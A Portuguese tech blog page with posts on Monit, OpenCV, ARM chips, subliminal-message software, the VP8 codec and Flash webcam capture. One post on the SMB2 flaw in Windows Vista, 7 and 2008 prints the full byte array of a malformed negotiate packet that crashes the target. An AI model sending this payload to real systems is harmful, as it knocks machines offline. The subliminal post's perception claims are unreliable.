Gerenciamento e monitoramento com Monit.

Monit é um utilitário open-source para gerenciar e monitorar processos, arquivos, diretórios e sistema de arquivos em sistemas operacionais baseados no UNIX. A sua interface web proporciona além do monitoramento, reparos e mensagens de alerta ao administrador.

A seguir os passos para instalação no OpenSuse:

Baixe o pacote rpm e instale com o comando rpm -ivh:

# http://download.opensuse.org/repositories/server:/monitoring/openSUSE_11.1/x86_64/monit-5.0.3-1.1.x86_64.rpm
# rpm -ivh monit-5.0.3-1.1.x86_64.rpm

Após a instalação, inicie o serviço conforme o  exemplo abaixo:

# rcmonit restart
Shutting down monit                                                          done
Starting monit Starting monit daemon with http interface at [*:2812]
                                                                             done
                                                                             done
#

Mais detalhes sobre a instalação e configuração do pacote,  clique AQUI!

monit

Monit is a free open source utility for managing and monitoring, processes, files, directories and filesystems on a UNIX system. Monit conducts automatic maintenance and repair and can execute meaningful causal actions in error situations.

OpenCV 2.0.0 – Saiu do forno!

opencvHoje, 01 de outubro,  durante a madruga, durante a conversa com  a minha amiga  Renata Padovan no msn, resolvi em paralelo visitar o  source forge e  SURPRESA!  Lá estava disponível a versão 2.0.0  da biblioteca OpenCV.

Entre inúmeras novidades,  a seguir as principais comparada  a versão 1.o:

  • Interface em C++;
  • Repositporio migrado  para SubVersion;
  • Rotinas mais performáticas;
  • Otimizações para MMX/SSE/SSE2/SSE3;
  • Treinamento em multithread (qundo compilado com OpenMP);
  • e muitas outras novidades…

Mais informações AQUI!

Vulnerabilidade no Windows 2008/Vista e 7!

bsodJogando conversar fora e tomando uma cerveja com o Carlão (Carlos Barcellos), ele mencionou sobre uma falha de  negociação no protocolo SMB2 do Windows. Na hora não dei muita atenção, pois pensei que tal  vulnerabilidade não atingiria as maquinas com o sistema operacional atualizado. Para a  minha surpresas, todas as máquinas submetidas ao teste sofreram a famosa BSOD (blue screen of death)  seguido do desligamento imediato.

A vulnerabilidade ocorre no protocolo SMB2 (Server Message Block — versão 2) da Microsoft,  localizado na camada de rede, utilizado geralmente para o acesso aos recursos compartilhados e autenticação IPC (Comunicação Inter-Processo).

Este  protocolo é o padrão de compartilhamento de arquivos entre computadores rodando Windows, e especificamente a versão 2 (SMB2) pode ser derrubada por um código de prova de conceito. Por questões éticas não disponibilizarei  o código. A seguir a lista das versão comprometidas:

  • Windows 7 (32 e 64 bits);
  • Vista, Vista SP1, Vista SP2 (32 e 64 bits);
  • Windows 2008, e 2008 SP2 (32 e 64 bits, e Itanium-based).

“Esse método ataca via negociação de requisição de protocolo (negotiate protocol request) que é a primeira query enviada pelo SMB. A vulnerabilidade está presente apenas nas versões de Windows que incluem o Server Message Block 2.0 e tem o protocolo ativado. O sucesso no ataque não requer acesso local na máquina e resulta na Tela Azul da Morte (Blue Screen of Death).”

smb

A seguir, uma versão do pacote modificado:

 0x01, 0x00, 0x00, 0x90, // Cabecalho
 0xff, 0x53, 0x4d, 0x42, // String SMB
 0x72, 0x00, 0x00, 0x00, // Protocolo de negociacao
 0x00, 0x18, 0x53, 0xc8, // Codigo operacao 0x18 & sub 0xc853
 0x00, 0x26,             // Valor antigo esperado pelo protocolo "\x00\x00"
 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xfe,
 0x00, 0x00, 0x00, 0x00, 0x00, 0x6d, 0x00, 0x02, 0x50, 0x43, 0x20, 0x4e, 0x45, 0x54,
 0x57, 0x4f, 0x52, 0x4b, 0x20, 0x50, 0x52, 0x4f, 0x47, 0x52, 0x41, 0x4d, 0x20, 0x31,
 0x2e, 0x30, 0x00, 0x02, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x31, 0x2e, 0x30, 0x00,
 0x02, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x66, 0x6f, 0x72, 0x20, 0x57,
 0x6f, 0x72, 0x6b, 0x67, 0x72, 0x6f, 0x75, 0x70, 0x73, 0x20, 0x33, 0x2e, 0x31, 0x61,
 0x00, 0x02, 0x4c, 0x4d, 0x31, 0x2e, 0x32, 0x58, 0x30, 0x30, 0x32, 0x00, 0x02, 0x4c,
 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x32, 0x2e, 0x31, 0x00, 0x02, 0x4e, 0x54, 0x20, 0x4c,
 0x4d, 0x20, 0x30, 0x2e, 0x31, 0x32, 0x00, 0x02, 0x53, 0x4d, 0x42, 0x20, 0x32, 0x2e,
 0x30, 0x30, 0x32, 0x00
OBS: Como mencionou o José Mateus Ucelli, quem conseguir controlar esse ponteiro na hora do estouro da pilha, pode apontar para execuçao de qualquer programa na memória…

OBS2: Sugiro aos usuários Windows (credo!) ficarem atentos com relação ao problema, e consequentemente  buscarem a  solução o mais breve possível junto ao fornecedor do sistema operacional. Pois códigos maliciosos surgirão de forma exponencial.

Fontes de informação:
Hack A Day

ARM Cortex A9 MPCore: processador dual-core de 2GHz

Uma nova versão do processador ARM (Advanced RISC Machine) surge com velocidade de 2GHz e uma arquitectura de 40 nanómetros. Com isto o processador Cortex A9 MPCore entrar na competição direta com o Atom, da Intel. Informações sobre esta criança, afirma que o seu novo processador consegue cinco vezes mais desempenho do que o rival e ainda consome menos energia.

A ARM menciona que este novo processador não impõe qualquer tipo de limitações aos fabricantes de hardware, apenas não suporta o sistema Windows (ainda bem…). Imaginem a capacidades dos futuros smartphones com este processador rodando SymbianOS ou Linux.

Fonte : http://www.arm.com

Print

Mensagens subliminares: Turbine o seu cérebro.

Acdm CerebroLendo um  pouco sobre mensagens subliminares, esbarrei no projeto Mentis cujo texto foi publicado no Viva O Linux. ” Mentis vem da palavra latina “mentis”, que significa Mente. É um software para ajudar os usuários com exercícios de reprogramação mental através da introdução de mensagens subliminares em forma de texto no desktop do usuário enquanto ele trabalha.”

O subconsciente é capaz de perceber uma mensagem exibida até mesmo com a duração de apenas 1/3000 de segundo, uma frase dita ou escrita de traz para frente ou um desenho perdido no meio de um fundo confuso. Ou seja o subconsciente é capaz de absorver informação muito mais rápido do que o consciente.

ATENÇÃO: O utilitário Mentis NÃO DEVE SER USADO POR PESSOAS COM EPILEPSIA. Esta é a maior recomendação.  2 das 10 pessoas que utilizaram o Mentis reclamaram de dores de cabeça depois de uma hora de uso. Recomendo então não usar por longos períodos de tempo caso isto aconteça. Alternar de 30 em 30 minutos.

Fonte de  pesquisas:

http://www.midiaindependente.org/pt/blue/2005/11/338054.shtml
http://jorgehessen.net/mensagens-subliminares-breve-esboco.html

http://www.vivaolinux.com.br/artigo/Mentis-Reprogramese/

Codec On2 VP8 pode ameaçar o reinado do H.264.

filtroO mercado de codecs pode sofre modificações a médio prazo, pois foi anunciado o acordo de aquisição da On2 Technologies pela Google ainda este ano. A On2 (A.K.A. The Duck Corporation ) é uma empresa especializada no mercado de compressão de vídeos em alta qualidade. Seguinte o site da empresa, mais de 2 bilhões de computadores no mundo utilizam a sua tecnologia de compressão, “On2 Video é o formato líder entre as empresas de soluções de mídia incluindo Adobe, Skype, Nokia, Infineon, Sun Microsystems, Mediatek, Sony, Brightcove e Move Networks”.

Sendo assim, é muito provável a Google passar a utilizar o codev VP8 na versão HTML5 do YouTube. Isto provocaria uma atualização imediata de codecs em massa nos navegadores (substituindo os formatos padrões em Flash).

Pensei que o reinado do h.264 estava intocável por um breve período. Mas com esta compra da On2 pela Google, o cenário muda completamente. A especificação técnica menciona que o VP8 é mais eficiente que H.264. Se a Google liberar o uso do VP8 (como sempre faz)  ou utilizar uma política de licenciamento menos agressiva ao mercando, com certeza  o futuro do vídeo monitoramento e das mídia  digitais não estará tão definido como eu imaginava.

O VP8 possui o loop filter (permite filtro em diferentes partes do quadro), suporta processadores a partir do ARM 9 100MHZ (Viva \o/ !!!) e explora com e eficiência os processadores multicore paralelizados SMP (multiprocessamento simétrico).

Para efeito de informação, lembro como se fosse hoje, quando em 2002  (Ainda  usava o Conectiva ) a On2 liberou para domínio público o codec VP3. O mesmo serviu de base para o desenvolvimento do codec de código aberto Ogg Theora que utilizo no meu dia-a-dia.

Mais informações em On2 .

h264

Visão Computacional:Reconhecimento de figuras em tempo real.

Estou atualmente testando algorítimos de visão computacional com treinamento, reconhecimento de padrões e também de imagens em tempo real. Os resultados são animadores, mas existe muito longo caminho para evoluir… O próximo passo é abstrair as funções em C++ assim levando o desenvolvimento para o alto nível e obtendo ganhos de produtividade na produção de soluções mercadológicas. Vejam o resultado laboratorial no vídeo a seguir.

Vídeo captura com webcam via Browser (Windows/Linux).

webcam1Conversando com o  Estevão e  Leandro (Pipoca) na NETi TECNOLOGIA sobre os  procedimentos necessários para efetuar video captura ao vivo via web, resolvi buscar minhas pesquisas passadas e encontrei  o projeto FlashCam.

Este  projeto demonstrou conceitualmente que o flash é capaz de resolver com eficiência tal demanda.

Neste LINK podemos conferir a  sua funcionalidade.A seguir  o código encontrado em oldes.multimedia.cz

background 0.0.0
obj_video: video
myVid: place obj_video [at 5x5 scale 2] ;default size is 160x120
doAction [
    webcams: Camera.names.length
    if webcams = 0 [
        test: "No WebCam found"
    ] else if webcams > 1 [
        System.showSettings(3)
    ]

    myCam: Camera.get()
    myCam.setMode(160  120 12) ;(width height fps)
    myVid.attachVideo(myCam)

    ;motion detection:
    x: 0
    motion: func[mode][
        test: reform [
            "move" x  mode
            "bandwidth:" myCam.bandwidth
        ]
        x++
    ]
    myCam.setMotionLevel(30 100) ;(sensitivity, timeout)
    myCam.onActivity: func[mode][motion(mode)]
]

fnt_Courier: Font [name "_typewriter" bold]
txt_test: EditText test 320x18 [ReadOnly border Font [fnt_Courier 11]]
place txt_test at 5x245
showFrame
end

webcam2